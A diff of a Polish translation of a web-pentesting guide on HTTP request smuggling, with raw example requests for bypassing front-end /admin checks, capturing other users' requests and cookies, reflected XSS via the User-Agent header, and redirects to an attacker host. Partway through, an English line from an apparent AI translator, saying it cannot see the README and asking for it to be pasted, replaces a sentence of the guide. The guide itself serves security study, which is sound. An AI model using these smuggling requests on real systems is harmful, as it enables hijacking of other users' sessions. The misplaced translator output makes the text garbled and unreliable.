klient próbował uzyskać dostęp do innego zasobu. **Kluczowe uwagi** -Podczas testowania podatności na request smuggling poprzez zakłócanie innych żądań, pamiętaj o: +Testując podatności request smuggling przez ingerencję w inne żądania, miej na uwadze: -- **Oddzielnych połączeniach sieciowych:** "atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności. -- **Spójnych URL i parametrów:** Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku. -- **Czasu i warunków wyścigu:** "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób dla jednoznacznego potwierdzenia podatności. -- **Wyzwań związanych z równoważeniem obciążenia:** Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atak" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność. -- **Niezamierzonego wpływu na użytkowników:** Jeśli twój atak niezamierzenie wpływa na żądanie innego użytkownika (nie "normalne" żądanie, które wysłałeś w celu wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócać innych użytkowników, co wymaga ostrożnego podejścia. +- **Oddzielne połączenia sieciowe:** Żądania "attack" i "normal" powinny być wysłane przez oddzielne połączenia sieciowe. Wykorzystywanie tego samego połączenia dla obu nie potwierdza istnienia podatności. +- **Spójny URL i parametry:** Staraj się używać identycznych URL-i i nazw parametrów dla obu żądań. Współczesne aplikacje często kierują żądania do konkretnych serwerów back-end na podstawie URL i parametrów. Dopasowanie tych elementów zwiększa prawdopodobieństwo, że oba żądania zostaną obsłużone przez ten sam serwer, co jest warunkiem koniecznym do przeprowadzenia udanego ataku. +- **Czas i warunki wyścigu:** Żądanie "normal", mające wykryć interferencję ze strony żądania "attack", konkuruje z innymi jednoczesnymi żądaniami aplikacji. Dlatego wyślij żądanie "normal" bezpośrednio po żądaniu "attack". W przypadku obciążonych aplikacji może być konieczne wykonanie wielu prób, aby uzyskać przekonujące potwierdzenie podatności. +- **Wyzwania związane z load balancingiem:** Serwery front-end działające jako load balancery mogą rozdzielać żądania między różne systemy back-end. Jeśli żądania "attack" i "normal" trafią na różne systemy, atak nie powiedzie się. Aspekt rozkładania obciążenia może wymagać kilku prób, by potwierdzić podatność. +- **Nieintencjonalny wpływ na użytkowników:** Jeśli twój atak nieumyślnie wpłynie na żądanie innego użytkownika (nie tego wysłanego jako "normal"), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Ciągłe testy mogą zakłócać działanie innych użytkowników, dlatego należy postępować ostrożnie. -## Rozróżnianie artefaktów pipeliningu HTTP/1.1 a prawdziwe request smuggling +## Rozróżnianie artefaktów HTTP/1.1 pipelining a prawdziwego request smuggling -Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo wytworzyć iluzje "smugglingu" w narzędziach testowych, które wysyłają wiele żądań na tym samym gnieździe. Naucz się oddzielać nieszkodliwe artefakty po stronie klienta od rzeczywistego desynchronizacji po stronie serwera. +Ponowne użycie połączenia (keep-alive) i pipelining mogą łatwo tworzyć iluzje "smuggling" w narzędziach testowych, które wysyłają wiele żądań przez ten sam socket. Naucz się rozróżniać nieszkodliwe artefakty po stronie klienta od prawdziwych desynchronizacji po stronie serwera. -### Dlaczego pipelining tworzy klasyczne fałszywe pozytywy +### Dlaczego pipelining powoduje klasyczne fałszywe pozytywy -HTTP/1.1 ponownie wykorzystuje jedno połączenie TCP/TLS i łączy żądania i odpowiedzi w tym samym strumieniu. W pipeliningu klient wysyła wiele żądań jedno po drugim i polega na odpowiedziach w kolejności. Typowym fałszywym pozytywem jest ponowne wysłanie źle sformułowanego ładunku w stylu CL.0 dwa razy na jednym połączeniu: +HTTP/1.1 ponownie używa jednego połączenia TCP/TLS i konkatenizuje żądania i odpowiedzi na tym samym strumieniu. W pipelining klient wysyła wiele żądań jedno po drugim i oczekuje odpowiedzi w tej samej kolejności. Powszechnym fałszywym pozytywem jest ponowne wysłanie zniekształconego ładunku w stylu CL.0 dwukrotnie na jednym połączeniu: ``` POST / HTTP/1.1 Host: hackxor.net @@ -292,7 +292,7 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Odpowiedzi mogą wyglądać następująco: +I don't see the README.md contents. Please paste the markdown you want translated (or confirm you want me to translate the file at src/pentesting-web/http-request-smuggling/README.md and paste its contents). I will translate visible English text to Polish, preserving all code, tags, links, refs, paths and hacking technique/platform names exactly as you requested. ``` HTTP/1.1 200 OK Content-Type: text/html @@ -306,7 +306,7 @@ Content-Type: text/plain User-agent: * Disallow: /settings ``` -Jeśli serwer zignorował źle sformatowany `Content_Length`, nie ma desynchronizacji FE↔BE. Przy ponownym użyciu, twój klient faktycznie wysłał ten strumień bajtów, który serwer zinterpretował jako dwa niezależne żądania: +Jeśli serwer zignorował nieprawidłowy `Content_Length`, nie występuje FE↔BE desync. With reuse, twój klient faktycznie wysłał ten byte-stream, który serwer zinterpretował jako dwa niezależne żądania: ``` POST / HTTP/1.1 Host: hackxor.net @@ -320,78 +320,78 @@ Content_Length: 47 GET /robots.txt HTTP/1.1 X: Y ``` -Impact: brak. Po prostu odłączyłeś swojego klienta od ramki serwera. +Wpływ: brak. Po prostu rozesynchronizowałeś klienta od ramowania serwera. > [!TIP] -> Moduły Burp, które zależą od ponownego użycia/pipeliningu: Turbo Intruder z `requestsPerConnection>1`, Intruder z "HTTP/1 connection reuse", Repeater "Wyślij grupę w kolejności (pojedyncze połączenie)" lub "Włącz ponowne użycie połączenia". +> Moduły Burp, które zależą od reuse/pipelining: Turbo Intruder z `requestsPerConnection>1`, Intruder z "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" lub "Enable connection reuse". -### Testy litmusowe: pipelining czy prawdziwy desync? +### Testy rozróżniające: pipelining czy prawdziwe desync? -1. Wyłącz ponowne użycie i przetestuj ponownie -- W Burp Intruder/Repeater, wyłącz ponowne użycie HTTP/1 i unikaj "Wyślij grupę w kolejności". -- W Turbo Intruder, ustaw `requestsPerConnection=1` i `pipeline=False`. -- Jeśli zachowanie zniknie, prawdopodobnie było to pipelining po stronie klienta, chyba że masz do czynienia z celami zablokowanymi na połączeniu/stanu lub desync po stronie klienta. -2. Sprawdzenie zagnieżdżonej odpowiedzi HTTP/2 -- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniłeś błąd parsowania/desync w backendzie, a nie czysty artefakt klienta. -3. Proba częściowych żądań dla front-endów zablokowanych na połączeniu -- Niektóre FEs ponownie używają połączenia BE tylko wtedy, gdy klient ponownie używa swojego. Użyj częściowych żądań, aby wykryć zachowanie FE, które odzwierciedla ponowne użycie klienta. -- Zobacz PortSwigger "Ataki Desync zasilane przeglądarką" dla techniki zablokowanej na połączeniu. -4. Proby stanu -- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (routing/walidacja pierwszego żądania). -- Burp "HTTP Request Smuggler" zawiera sondę stanu połączenia, która automatyzuje to. -5. Wizualizuj połączenie -- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzić konkatenację i ramki wiadomości podczas eksperymentowania z ponownym użyciem i częściowymi żądaniami. +1. Wyłącz reuse i przetestuj ponownie +- W Burp Intruder/Repeater wyłącz HTTP/1 reuse i unikaj "Send group in sequence". +- W Turbo Intruder ustaw `requestsPerConnection=1` i `pipeline=False`. +- Jeśli zachowanie ustępuje, najpewniej to client-side pipelining, chyba że cel jest connection-locked/stateful lub występuje client-side desync. +2. HTTP/2 nested-response check +- Wyślij żądanie HTTP/2. Jeśli ciało odpowiedzi zawiera kompletną zagnieżdżoną odpowiedź HTTP/1, udowodniono błąd parsowania/desync po stronie backendu, a nie czysto klientowy artefakt. +3. Partial-requests probe dla connection-locked front-endów +- Niektóre FEs ponownie używają połączenia upstream BE tylko jeśli klient ponownie użył swojego. Użyj partial-requests, by wykryć zachowanie FE, które odzwierciedla reuse klienta. +- Zobacz PortSwigger "Browser‑Powered Desync Attacks" dla techniki connection-locked. +4. Próby stanu +- Szukaj różnic między pierwszym a kolejnymi żądaniami na tym samym połączeniu TCP (first-request routing/validation). +- Burp "HTTP Request Smuggler" zawiera connection‑state probe, która to automatyzuje. +5. Wizualizuj ruch sieciowy +- Użyj rozszerzenia Burp "HTTP Hacker", aby bezpośrednio sprawdzać konkatenację i ramowanie wiadomości podczas eksperymentów z reuse i partial requests. -### Smuggling żądań zablokowanych na połączeniu (wymagane ponowne użycie) +### Connection‑locked request smuggling (reuse-required) -Niektóre front-endy ponownie używają połączenia upstream tylko wtedy, gdy klient ponownie używa swojego. Prawdziwy smuggling istnieje, ale jest uzależniony od ponownego użycia po stronie klienta. Aby odróżnić i udowodnić wpływ: +Niektóre front-endy ponownie używają połączenia upstream tylko wtedy, gdy klient użyje swojego ponownie. Prawdziwe smuggling istnieje, ale zależy od client-side reuse. Aby rozróżnić i udowodnić wpływ: - Udowodnij błąd po stronie serwera -- Użyj sprawdzenia zagnieżdżonej odpowiedzi HTTP/2, lub -- Użyj częściowych żądań, aby pokazać, że FE ponownie używa upstream tylko wtedy, gdy klient to robi. -- Pokaż rzeczywisty wpływ, nawet jeśli bezpośrednie nadużycie gniazd między użytkownikami jest zablokowane: -- Zatrucie pamięci podręcznej: truj współdzielone pamięci podręczne za pomocą desync, aby odpowiedzi wpływały na innych użytkowników. -- Ujawnienie nagłówków wewnętrznych: odzwierciedl nagłówki wstrzyknięte przez FE (np. nagłówki auth/trust) i przejdź do obejścia autoryzacji. -- Obejście kontroli FE: przemyć zastrzeżone ścieżki/metody przez front-end. -- Nadużycie nagłówka hosta: połącz z osobliwościami routingu hosta, aby przejść do wewnętrznych vhosts. +- Użyj HTTP/2 nested-response check, albo +- Użyj partial-requests, by pokazać, że FE ponownie używa upstream tylko gdy klient to robi. +- Pokaż rzeczywisty wpływ nawet jeśli bezpośrednie nadużycie socketów między użytkownikami jest zablokowane: +- Cache poisoning: zatruj współdzielone cache przez desync, tak aby odpowiedzi wpływały na innych użytkowników. +- Internal header disclosure: odzwierciedl FE-wstrzyknięte nagłówki (np. auth/trust headers) i pivot do obejścia uwierzytelnienia. +- Bypass FE controls: smuggle ograniczone ścieżki/metody poza front-end. +- Host-header abuse: połącz z dziwactwami routingu hosta, aby pivotować do wewnętrznych vhostów. - Przepływ pracy operatora -- Powtórz z kontrolowanym ponownym użyciem (Turbo Intruder `requestsPerConnection=2`, lub grupa zakładek Burp Repeater → "Wyślij grupę w kolejności (pojedyncze połączenie)"). -- Następnie połącz z prymitywami zatrucia pamięci podręcznej/ujawnienia nagłówków/obejścia kontroli i pokaż wpływ między użytkownikami lub autoryzacji. +- Odtwórz z kontrolowanym reuse (Turbo Intruder `requestsPerConnection=2`, lub Burp Repeater tab group → "Send group in sequence (single connection)"). +- Następnie połącz z prymitywami do cache/header-leak/control-bypass i zademonstruj wpływ na wielu użytkowników lub autoryzację. -> Zobacz także ataki stanu połączenia, które są ściśle związane, ale nie są technicznie smugglingiem: +> Zobacz także connection‑state attacks, które są ściśle powiązane, ale technicznie nie są smugglingiem: > >{{#ref}} >../http-connection-request-smuggling.md >{{#endref}} -### Ograniczenia desync po stronie klienta +### Ograniczenia client‑side desync -Jeśli celujesz w desync zasilany przeglądarką/po stronie klienta, złośliwe żądanie musi być wysyłane przez przeglądarkę z innego źródła. Sztuczki z obfuskacją nagłówków nie zadziałają. Skup się na prymitywach dostępnych przez nawigację/fetch, a następnie przejdź do zatrucia pamięci podręcznej, ujawnienia nagłówków lub obejścia kontroli front-endu, gdzie komponenty downstream odzwierciedlają lub buforują odpowiedzi. +Jeśli celujesz w browser-powered/client-side desync, złośliwe żądanie musi być możliwe do wysłania przez przeglądarkę cross-origin. Sztuczki z obfuskacją nagłówków nie zadziałają. Skup się na prymitywach osiągalnych przez navigation/fetch, a następnie pivotuj do cache poisoning, header disclosure lub omijania kontroli front-end, gdy downstream components odzwierciedlają lub cachują odpowiedzi. -Dla tła i end-to-end workflow: +Dla kontekstu i end-to-end workflow: {{#ref}} browser-http-request-smuggling.md {{#endref}} -### Narzędzia do pomocy w podejmowaniu decyzji +### Narzędzia pomocne przy ocenie -- HTTP Hacker (Burp BApp Store): ujawnia niskopoziomowe zachowanie HTTP i konkatenację gniazd. -- "Smuggling czy pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda -- Turbo Intruder: precyzyjna kontrola nad ponownym użyciem połączenia za pomocą `requestsPerConnection`. -- Burp HTTP Request Smuggler: zawiera sondę stanu połączenia, aby wykryć routing/walidację pierwszego żądania. +- HTTP Hacker (Burp BApp Store): ujawnia niskopoziomowe zachowanie HTTP i konkatenację socketów. +- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda +- Turbo Intruder: precyzyjna kontrola reuse połączeń przez `requestsPerConnection`. +- Burp HTTP Request Smuggler: zawiera connection‑state probe do wykrywania first‑request routing/validation. > [!NOTE] -> Traktuj efekty tylko ponownego użycia jako nieistotne, chyba że możesz udowodnić desync po stronie serwera i dołączyć konkretne skutki (zatruty artefakt pamięci podręcznej, ujawniony wewnętrzny nagłówek umożliwiający obejście uprawnień, obejście kontroli FE itp.). +> Traktuj efekty zależne wyłącznie od reuse jako nieistotne, chyba że potrafisz udowodnić server-side desync i dołączyć konkretny wpływ (poisoned cache artifact, leaked internal header umożliwiający privilege bypass, bypassed FE control itp.). -## Nadużywanie HTTP Request Smuggling +## Wykorzystywanie HTTP Request Smuggling -### Obejście zabezpieczeń front-endu za pomocą HTTP Request Smuggling +### Omijanie zabezpieczeń front-endu za pomocą HTTP Request Smuggling -Czasami, front-endowe proxy egzekwują środki bezpieczeństwa, skrupulatnie analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony z zewnątrz, a front-endowe proxy aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać sprawdzenie osadzonych żądań w ramach zmyślonego żądania HTTP, pozostawiając lukę do obejścia tych ograniczeń. +Czasami proxy front-endowe stosują zabezpieczenia, analizując przychodzące żądania. Te zabezpieczenia można jednak obejść, wykorzystując HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do ograniczonych endpointów. Na przykład dostęp do `/admin` może być zabroniony z zewnątrz, a front-end proxy aktywnie blokuje takie próby. Niemniej jednak to proxy może zaniedbać inspekcję osadzonych żądań w smuggled HTTP request, pozostawiając lukę do obejścia tych ograniczeń. -Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być używane do obejścia kontroli bezpieczeństwa front-endu, szczególnie celując w ścieżkę `/admin`, która jest zazwyczaj chroniona przez front-endowe proxy: +Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być użyte do ominięcia kontroli bezpieczeństwa front-endu, ze szczególnym uwzględnieniem ścieżki `/admin`, która zazwyczaj jest chroniona przez front-end proxy: -**Przykład CL.TE** +**CL.TE Przykład** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net @@ -408,7 +408,7 @@ Content-Length: 10 x= ``` -W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany w początkowym żądaniu, podczas gdy osadzone żądanie korzysta z nagłówka `Transfer-Encoding: chunked`. Proxy front-end przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`. +W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany dla żądania początkowego, podczas gdy osadzone, następcze żądanie używa nagłówka `Transfer-Encoding: chunked`. Front-end proxy przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co pozwala na nieautoryzowany dostęp do ścieżki `/admin`. **TE.CL Example** ``` @@ -426,13 +426,13 @@ a=x 0 ``` -W przeciwnym razie, w ataku TE.CL, początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowe pomija oszukańcze żądanie `GET /admin`, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`. +Z kolei, w ataku TE.CL, początkowe `POST` żądanie używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, front-end proxy pomija przemycone `GET /admin` żądanie, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki `/admin`. -### Revealing front-end request rewriting +### Ujawnianie przepisywania żądań przez front-end -Aplikacje często wykorzystują **serwer front-endowy** do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: `, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **ujawnienie ukrytych informacji lub punktów końcowych**. +Aplikacje często używają **serwera front-end** do modyfikowania przychodzących żądań, zanim przekażą je do serwera back-end. Typowa modyfikacja polega na dodaniu nagłówków, takich jak `X-Forwarded-For: `, aby przekazać adres IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na **obejście zabezpieczeń** lub **odkrycie ukrytych informacji lub endpointów**. -Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie: +Aby zbadać, jak proxy zmienia żądanie, znajdź parametr `POST`, który back-end odzwierciedla w odpowiedzi. Następnie przygotuj żądanie, używając tego parametru jako ostatniego, podobne do poniższego: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -449,19 +449,19 @@ Content-Length: 100 search= ``` -W tej strukturze kolejne komponenty żądania są dołączane po `search=`, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania. +W tej strukturze kolejne komponenty żądania są dołączane po `search=`, który jest parametrem odzwierciedlanym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania. -Ważne jest, aby dostosować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od małej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka wartość może spowodować błąd żądania. +Ważne jest, aby nagłówek `Content-Length` zagnieżdżonego żądania był dopasowany do rzeczywistej długości treści. Zaleca się zaczynać od małej wartości i stopniowo ją zwiększać, ponieważ zbyt niska wartość obetnie odzwierciedlane dane, zaś zbyt wysoka może spowodować błąd żądania. -Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru search. +Technika ta ma również zastosowanie w kontekście podatności TE.CL, jednak żądanie powinno kończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dodane do parametru search. -Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-end, zasadniczo przeprowadzając samodzielne dochodzenie. +Metoda ta służy przede wszystkim do zrozumienia modyfikacji żądań dokonywanych przez front-end proxy, zasadniczo przeprowadzając samoistne dochodzenie. ### Przechwytywanie żądań innych użytkowników -Możliwe jest przechwycenie żądań następnego użytkownika, dołączając określone żądanie jako wartość parametru podczas operacji POST. Oto jak można to osiągnąć: +Jest możliwe przechwycenie żądań następnego użytkownika przez dołączenie określonego żądania jako wartości parametru podczas operacji POST. Oto jak można to osiągnąć: -Dołączając następujące żądanie jako wartość parametru, możesz przechować żądanie kolejnego klienta: +Dołączając poniższe żądanie jako wartość parametru, możesz przechować żądanie następnego klienta: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net @@ -481,20 +481,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` -W tym scenariuszu **parametr komentarza** ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnym stronie. W związku z tym, zawartość kolejnego żądania pojawi się jako komentarz. +W tym scenariuszu parametr **comment parameter** ma na celu przechowywanie zawartości sekcji komentarzy wpisu na publicznie dostępnej stronie. W konsekwencji zawartość kolejnego żądania pojawi się jako komentarz. -Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemycanym żądaniu. Dla przesyłania formularzy zakodowanych w URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym `&`, który może być nawet częścią ciągu zapytania. +Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do separatora parametru użytego w przemycanym żądaniu. W przypadku formularzy URL-encoded separatorem jest znak `&`. Oznacza to, że przechwycona zawartość żądania ofiary zatrzyma się na pierwszym `&`, który może nawet być częścią query string. -Dodatkowo warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach żądanie powinno kończyć się `search=\r\n0`. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania. +Dodatkowo warto zauważyć, że podejście to działa także w przypadku podatności TE.CL. W takich sytuacjach żądanie powinno kończyć się na `search=\r\n0`. Niezależnie od znaków nowej linii, wartości zostaną dołączone do parametru search. -### Wykorzystanie przemycania żądań HTTP do eksploatacji odzwierciedlonego XSS +### Using HTTP request smuggling to exploit reflected XSS -Przemycanie żądań HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na **odzwierciedlone XSS**, oferując znaczące korzyści: +HTTP Request Smuggling może być wykorzystany do atakowania stron podatnych na **Reflected XSS**, oferując istotne korzyści: - Interakcja z docelowymi użytkownikami **nie jest wymagana**. -- Umożliwia eksploatację XSS w częściach żądania, które są **normalnie niedostępne**, jak nagłówki żądań HTTP. +- Pozwala na wykorzystanie XSS w częściach żądania, które są **zwykle nieosiągalne**, takich jak nagłówki żądań HTTP. -W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS przez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność: +W scenariuszach, w których strona jest podatna na Reflected XSS poprzez User-Agent header, poniższy payload pokazuje, jak wykorzystać tę podatność: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net @@ -515,36 +515,36 @@ Content-Type: application/x-www-form-urlencoded A= ``` -Ten ładunek jest skonstruowany w celu wykorzystania luki poprzez: +This payload jest skonstruowany, aby wykorzystać lukę poprzez: -1. Inicjowanie żądania `POST`, które wydaje się typowe, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek przemytu. -2. Następnie, po `0`, oznaczającym koniec ciała wiadomości chunked. -3. Wprowadzenie następnie przemytowego żądania `GET`, w którym nagłówek `User-Agent` jest wstrzykiwany z skryptem, ``, wywołującym XSS, gdy serwer przetwarza to kolejne żądanie. +1. Inicjowanie `POST` żądania, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked` wskazującym początek smuggling. +2. Następnie `0`, oznaczający koniec chunked message body. +3. Potem wprowadzone jest przemytowe `GET` żądanie, w którym nagłówek `User-Agent` jest wstrzyknięty skryptem ``, wyzwalając XSS gdy serwer przetworzy to kolejne żądanie. -Manipulując `User-Agent` poprzez przemyt, ładunek omija normalne ograniczenia żądań, w ten sposób wykorzystując lukę Reflected XSS w niestandardowy, ale skuteczny sposób. +Manipulując `User-Agent` poprzez smuggling, payload omija normalne ograniczenia żądań, w ten sposób wykorzystując Reflected XSS w niestandardowy, ale skuteczny sposób. #### HTTP/0.9 > [!CAUTION] -> W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9, może być możliwe ominięcie tego**! +> W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z **`Content-type`** takim jak **`text/plain`**, uniemożliwiając wykonanie XSS. Jeśli serwer obsługuje **HTTP/0.9**, może to być możliwe do obejścia! -Wersja HTTP/0.9 była wcześniejsza niż 1.0 i używa tylko czasowników **GET** oraz **nie** odpowiada z **nagłówkami**, tylko ciałem. +Wersja HTTP/0.9 istniała przed 1.0 i używa tylko metod **GET** oraz **nie** odpowiada z **headers**, jedynie body. -W [**tym opisie**](https://mizu.re/post/twisty-python) to zostało nadużyte z przemytowym żądaniem i **wrażliwym punktem końcowym, który odpowiada na dane wejściowe użytkownika**, aby przemycić żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlany w odpowiedzi, zawierał **fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem)**, więc odpowiedź będzie zawierać ważny wykonywalny kod JS z `Content-Type` równym `text/html`. +W [**this writeup**](https://mizu.re/post/twisty-python) mechanizm ten został nadużyty przy użyciu request smuggling i **vulnerable endpoint that will reply with the input of the user**, aby przemycić żądanie w HTTP/0.9. Parametr, który został odzwierciedlony w odpowiedzi, zawierał **fake HTTP/1.1 response (with headers and body)**, więc odpowiedź zawierała prawidłowy wykonywalny kod JS z `Content-Type` ustawionym na `text/html`. -### Wykorzystywanie przekierowań na stronie z użyciem przemytu żądań HTTP +### Exploiting On-site Redirects with HTTP Request Smuggling -Aplikacje często przekierowują z jednego URL do drugiego, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby dodać ukośnik: +Aplikacje często przekierowują z jednego URL na inny, używając nazwy hosta z nagłówka `Host` w URL przekierowania. Jest to powszechne w serwerach WWW takich jak Apache i IIS. Na przykład żądanie folderu bez końcowego ukośnika powoduje przekierowanie dodające ukośnik: ``` GET /home HTTP/1.1 Host: normal-website.com ``` -Wyniki w: +Skutkuje: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` -Choć na pozór nieszkodliwe, to zachowanie można manipulować za pomocą HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład: +Choć pozornie nieszkodliwe, to zachowanie można zmanipulować przy użyciu HTTP request smuggling, aby przekierować użytkowników na zewnętrzną stronę. Na przykład: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -558,29 +558,29 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -To żądanie przemycone może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego: +Ten smuggled request może spowodować, że następny przetworzony request użytkownika zostanie przekierowany na attacker-controlled website: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` -Wyniki w: +Powoduje: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` -W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy JavaScript w odpowiedzi. +W tym scenariuszu żądanie użytkownika o plik JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, serwując złośliwy kod JavaScript w odpowiedzi. -### Wykorzystywanie złośliwego zatrucia pamięci podręcznej przez HTTP Request Smuggling +### Exploiting Web Cache Poisoning via HTTP Request Smuggling -Zatrucie pamięci podręcznej w sieci może być wykonane, jeśli jakikolwiek komponent **infrastruktury front-endowej buforuje treści**, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **zatrucie pamięci podręcznej**. +Web cache poisoning może wystąpić, jeśli dowolny komponent **front-end infrastructure caches content**, zwykle w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest **poison the cache**. -Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz [Podstawowe przykłady](#basic-examples)). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść `/index.html` w odpowiedzi na żądanie dotyczące `/static/include.js`. W konsekwencji treść `/static/include.js` zostaje zastąpiona w pamięci podręcznej treścią `/index.html`, co sprawia, że `/static/include.js` staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS). +Wcześniej pokazaliśmy, jak odpowiedzi serwera można zmodyfikować, by zwracały błąd 404 (zob. [Basic Examples](#basic-examples)). Podobnie można oszukać serwer, aby w odpowiedzi na żądanie `/static/include.js` dostarczył zawartość `/index.html`. W konsekwencji zawartość `/static/include.js` zostaje zastąpiona w cache zawartością z `/index.html`, przez co `/static/include.js` staje się niedostępny dla użytkowników, co może doprowadzić do Denial of Service (DoS). -Technika ta staje się szczególnie potężna, jeśli zostanie odkryta **vulnerabilność Open Redirect** lub jeśli istnieje **przekierowanie na stronie do otwartego przekierowania**. Takie luki mogą być wykorzystywane do zastąpienia buforowanej treści `/static/include.js` skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia szeroką atak 